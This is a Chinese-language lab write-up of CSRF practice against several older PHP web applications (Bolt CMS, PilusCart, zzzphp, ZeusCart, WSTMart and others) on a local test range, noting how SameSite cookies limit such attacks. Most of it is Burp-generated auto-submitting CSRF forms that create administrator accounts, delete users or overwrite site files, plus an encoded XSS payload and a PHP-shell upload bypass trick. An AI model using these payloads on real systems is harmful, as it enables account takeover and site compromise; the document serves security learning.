抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

重要的业务逻辑,仅仅使用一个 GET/POST 来实现,如果这个 POST 很容易被伪造出来,那诱导受害者点击就能实现后台的一些敏感操作。

00 SameSite

Chrome 从 80 开始默认开启 SameSite=Lax
Lax:GET 携带 Cookie,POST 不携带;None: 无限制;Strict:完全禁止第三方 Cookie
SameSite:https://web.dev/i18n/zh/samesite-cookies-explained/

所以这里使用火狐浏览器。

01 Bolt CMS 3.6.6

后台地址:http://192.168.29.140/bolt/public/bolt/login

介绍链接中的 exploit 未能生效;从网上找到了:
https://nvd.nist.gov/vuln/detail/cve-2020-4040
https://nvd.nist.gov/vuln/detail/cve-2020-4041

xss/csrf

xss 和 csrf 都在 Preview 页面,在 POST 请求时未对 Cookie 作任何检查,也无 token,PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/bolt/public/preview/page" method="POST">
<input type="hidden" name="content&#95;edit&#91;&#95;token&#93;" value="e2x6vxs8q&#95;e2txfon9TUIsXTEBIZbK9JauKdZnySHXg" />
<input type="hidden" name="editreferrer" value="" />
<input type="hidden" name="contenttype" value="pages" />
<input type="hidden" name="title" value="test&#95;01" />
<input type="hidden" name="slug" value="test&#45;01" />
<input type="hidden" name="image&#91;file&#93;" value="" />
<input type="hidden" name="files&#91;&#93;" value="" />
<input type="hidden" name="teaser" value="" />
<input type="hidden" name="body" value="&#x0d;&#x3c;&#x73;&#x76;&#x67;&#x2f;&#x6f;&#x6e;&#x6c;&#x6f;&#x61;&#x64;&#x3d;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3e;&#x0a;" />
<input type="hidden" name="template" value="page&#46;twig" />
<input type="hidden" name="taxonomy&#91;groups&#93;&#91;&#93;" value="" />
<input type="hidden" name="taxonomy&#45;order&#91;groups&#93;" value="0" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="status" value="draft" />
<input type="hidden" name="datepublish" value="2023&#45;05&#45;07&#32;10&#58;29&#58;08" />
<input type="hidden" name="datedepublish" value="" />
<input type="hidden" name="ownerid" value="1" />
<input type="hidden" name="&#95;live&#45;editor&#45;preview" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
</script>
</body>
</html>

code execution

在文件上传页面,上传一个 php shell code,但需要先修改为 .html,然后再重命名为 .php\.,会被自动修改为 .php

详细分析:https://dl.packetstormsecurity.net/2007-exploits/boltcms370-xssxsrfexec.txt

02 PilusCart 1.4.1

后台地址:http://192.168.29.140/pilus/cabin/login.php

在添加新用户界面存在 CSRF,使用 burp 生成 PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/pilus/cabin/index.php?module=users&action=newUser" method="POST">
<input type="hidden" name="admin&#95;id" value="" />
<input type="hidden" name="session&#95;id" value="" />
<input type="hidden" name="admin&#95;login" value="ssadmin1" />
<input type="hidden" name="admin&#95;fullname" value="ssadminff" />
<input type="hidden" name="admin&#95;email" value="ssadmin1&#64;mail&#46;com" />
<input type="hidden" name="admin&#95;pass" value="ssadmin1" />
<input type="hidden" name="confirm&#95;pass" value="ssadmin1" />
<input type="hidden" name="admin&#95;level" value="superadmin" />
<input type="hidden" name="admin&#95;url" value="ssadmin1&#46;com" />
<input type="hidden" name="saveAdmin" value="Simpan" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
</script>
</body>
</html>

03 zzzphp CMS 1.6.1

其绝大部分编辑内容或者修改内容都是单个 POST save.php?act=xxx 完成,且没有对 Referer 的校验与 token 的校验;
比如:在模板管理页面下的 模板编辑 中,存在 csrf 漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/zzzphp/admin537/save.php?act=editfile" method="POST">
<input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;js&#47;banner&#95;js&#46;js" />
<input type="hidden" name="filetext" value="alert(123);"/>
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

04 CMSSite 1.0

添加、删除,修改用户都存在 csrf 漏洞,以添加为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/cmssite/admin/users.php?source=add_user" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user&#95;name" value="admin" />
<input type="hidden" name="user&#95;firstname" value="admin" />
<input type="hidden" name="user&#95;lastname" value="admin" />
<input type="hidden" name="user&#95;image" value="&#45;" />
<input type="hidden" name="user&#95;role" value="Admin" />
<input type="hidden" name="user&#95;email" value="amdin&#64;admin&#46;com" />
<input type="hidden" name="user&#95;password" value="admin" />
<input type="hidden" name="create&#95;user" value="Add&#32;User" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

05 OOP CMS Blog 1.0

在页面编辑,用户管理页面都能够找到 csrf,以添加用户为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/oop/admin/addUser.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="userName" value="admin123" />
<input type="hidden" name="name" value="adminott" />
<input type="hidden" name="password" value="admin123" />
<input type="hidden" name="email" value="admin123&#64;admin&#46;com" />
<input type="hidden" name="details" value="&lt;p&gt;123465&lt;&#47;p&gt;" />
<input type="hidden" name="role" value="0" />
<input type="hidden" name="submit" value="Create" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

06 Integria IMS 5.0.83

垃圾系统没法创建用户,应该是在删除用户是存在 csrf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/integriaims/ajax.php" method="POST">
<input type="hidden" name="page" value="include&#47;ajax&#47;delete&#95;item&#95;general" />
<input type="hidden" name="delete&#95;item" value="1" />
<input type="hidden" name="name" value="delete&#95;users" />
<input type="hidden" name="id" value="0" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

07 ZeusCart 4.0

在 Sub Admin Management 页面存在 csrf,如添加新子管理员,构造 PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/zeuscart/admin/?do=subadminmgt&action=insert" method="POST">
<input type="hidden" name="subadminname" value="subadmss" />
<input type="hidden" name="subadminpassword" value="123123" />
<input type="hidden" name="subadminemail" value="123&#64;mail&#46;com" />
<input type="hidden" name="subadminstatus" value="on" />
<input type="hidden" name="sub" value="Save" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

此外,deactivate 功能也存在 csrf,可以任意禁止 customer。

08 WSTMart 2.0.8

在职员管理页面添加用户页面存在 csrf,可以任意创建账户登陆后台,构造 PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/wstmart/index.php/admin/staffs/add.html" method="POST">
<input type="hidden" name="staffId" value="0" />
<input type="hidden" name="loginName" value="adad211" />
<input type="hidden" name="staffPhoto" value="" />
<input type="hidden" name="loginPwd" value="123123" />
<input type="hidden" name="staffName" value="adad211" />
<input type="hidden" name="staffNo" value="211" />
<input type="hidden" name="staffRoleId" value="0" />
<input type="hidden" name="workStatus" value="1" />
<input type="hidden" name="staffStatus" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

09 Hotel Reservation System

用户添加页面,创建删除用户都可以 csrf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.29.140/hotelcal/admin/add_account.php" method="POST">
<input type="hidden" name="name" value="adad" />
<input type="hidden" name="username" value="adad" />
<input type="hidden" name="password" value="123123" />
<input type="hidden" name="add&#95;account" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

10 OrientDB 3.0.17

11 Apache CouchDB 2.3.1

靶场中不存在这俩。

总结

这个靶场都是 SameSite 前的一些漏洞,在后 SameSite 时代意义大不了。

burp 的 csrf 靶场做的很好,可以参考:
https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions

评论